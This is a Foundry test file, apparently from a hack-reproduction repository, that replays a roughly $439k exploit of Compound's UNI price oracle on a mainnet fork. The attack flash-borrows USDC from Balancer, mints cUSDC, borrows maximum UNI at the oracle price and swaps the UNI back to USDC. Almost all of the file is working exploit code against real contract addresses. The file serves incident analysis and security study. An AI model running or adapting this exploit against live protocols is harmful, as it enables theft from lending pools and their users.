-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
CompoundUni_exp.sol
146 lines (123 loc) · 5.5 KB
/
CompoundUni_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo - Total Lost : ~439537 US$
// Attacker : 0xe000008459b74a91e306a47c808061dfa372000e
// Attack Contract : 0x2f99fb66ea797e7fa2d07262402ab38bd5e53b12
// Vulnerable Contract : Compound protocol's price feeder, 0x50ce56A3239671Ab62f185704Caedf626352741e
// Attack Tx : https://etherscan.io/tx/0xaee0f8d1235584a3212f233b655f87b89f22f1d4890782447c4ef742b37af58d
// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x50ce56A3239671Ab62f185704Caedf626352741e#code
// @Analysis
// Lending Dashboard : https://debank.com/profile/0x2f99fb66ea797e7fa2d07262402ab38bd5e53b12
// Twitter Guy : https://twitter.com/0xLEVI104/status/1762092203894276481
contract ContractTest is Test {
IBalancerVault public vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
ICompoundcUSDC public cUSDC = ICompoundcUSDC(0x39AA39c021dfbaE8faC545936693aC917d5E7563);
IComptroller public comptroller = IComptroller(0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B);
IcUniToken public cUniToken = IcUniToken(0x35A18000230DA775CAc24873d00Ff85BccdeD550);
IUNIV3Pool public UNI_WETH_Pool = IUNIV3Pool(0x1d42064Fc4Beb5F8aAF85F4617AE8b3b5B8Bd801);
IUNI public uni = IUNI(0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984);
IUNIV3Pool public WETH_USDC_Pool = IUNIV3Pool(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);
IWETH public WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
IUniswapAnchoredView public UniswapAnchoredView = IUniswapAnchoredView(0x50ce56A3239671Ab62f185704Caedf626352741e);
uint256 public AMOUNT = 193_020_254_960;
function setUp() public {
vm.createSelectFork("mainnet", 19_290_921 - 1);
vm.label(address(vault), "Balancer vault");
vm.label(address(USDC), "USDC");
vm.label(address(cUSDC), "cUSDC");
vm.label(address(comptroller), "comptroller");
vm.label(address(cUniToken), "cUniToken");
vm.label(address(UNI_WETH_Pool), "UNI_WETH_Pool");
vm.label(address(uni), "uni");
vm.label(address(WETH_USDC_Pool), "WETH_USDC_Pool");
vm.label(address(WETH), "WETH");
}
function testExploit() public {
console.log("USDC balance:");
emit log_named_decimal_uint(" [INFO] Before attack", USDC.balanceOf(address(this)), 6);
address[] memory tokens = new address[](1);
uint256[] memory amounts = new uint256[](1);
tokens[0] = address(USDC);
amounts[0] = AMOUNT;
vault.flashLoan(address(this), tokens, amounts, bytes(""));
emit log_named_decimal_uint(" [INFO] After attack", USDC.balanceOf(address(this)), 6);
console.log("When compound update the price, incomplete liquidation leading to bad debts");
}
function receiveFlashLoan(IERC20[] memory, uint256[] memory, uint256[] memory, bytes memory) public {
// pledge the USDC
USDC.approve(address(cUSDC), AMOUNT);
cUSDC.mint(AMOUNT);
address[] memory cTokens = new address[](1);
cTokens[0] = address(cUSDC);
comptroller.enterMarkets(cTokens);
// You should calculate the max u can borrow
(, uint256 myTotalLiquidity,) = comptroller.getAccountLiquidity(address(this));
// The max amount of UNI we can borrow = AccountLiquidity / UNI's price in compound
uint256 max_UNI_borrow =
myTotalLiquidity / UniswapAnchoredView.getUnderlyingPrice(address(cUniToken)) * 10 ** uni.decimals();
cUniToken.borrow(max_UNI_borrow);
// Swap: UNI => WETH => USDC, for the low Slippage
UNI_WETH_Pool.swap(address(this), true, int256(uni.balanceOf(address(this))), 42_095_128_740, bytes(""));
WETH_USDC_Pool.swap(
address(this),
false,
int256(WETH.balanceOf(address(this))),
1_461_446_703_485_210_103_287_273_052_203_988_822_378_723_970_341,
bytes("")
);
USDC.transfer(msg.sender, AMOUNT); // pay back flashloan
}
uint256 public num = 0;
function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) public {
// For the twice swap()
if (num == 0) {
uni.transfer(msg.sender, uint256(amount0Delta));
num++;
} else {
WETH.transfer(msg.sender, uint256(amount1Delta));
}
}
}
interface ICompoundcUSDC {
function mint(
uint256 mintAmount
) external returns (uint256);
}
interface IComptroller {
function enterMarkets(
address[] memory cTokens
) external returns (uint256[] memory);
function getAccountLiquidity(
address account
) external view returns (uint256, uint256, uint256);
}
interface IcUniToken {
function borrow(
uint256 borrowAmount
) external returns (uint256);
}
interface IUNIV3Pool {
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes memory data
) external returns (int256 amount0, int256 amount1);
}
interface IUNI {
function balanceOf(
address account
) external view returns (uint256);
function decimals() external view returns (uint8);
function transfer(address dst, uint256 rawAmount) external returns (bool);
}
interface IUniswapAnchoredView {
function getUnderlyingPrice(
address cToken
) external view returns (uint256);
}